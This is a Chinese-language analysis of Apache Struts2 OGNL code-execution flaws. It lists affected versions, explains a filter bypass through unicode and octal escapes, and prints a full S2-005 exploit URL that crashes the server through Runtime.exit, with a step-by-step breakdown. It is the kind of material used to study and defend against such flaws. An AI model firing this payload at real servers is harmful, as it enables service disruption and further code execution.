1. Apache官方公告
http://struts.apache.org/development/2.x/docs/security-bulletins.html
其中涉及代码执行的漏洞有:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,S2-20~21下面逐一简要说明。
2. 各版本漏洞分析
S2-003
受影响版本:Struts 2.0.0 - Struts 2.0.11.2
概述
struts2会将http的每个参数名解析为ongl语句执行(可理解为java代码)。ongl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。
S2-005
受影响版本:Struts2.0.0 - Struts 2.1.8.1
概述
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。
Payload详解
http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:
1) ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。
2) &(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
将上下文中的 xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。
3) & (asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtim e@getRuntime()))=1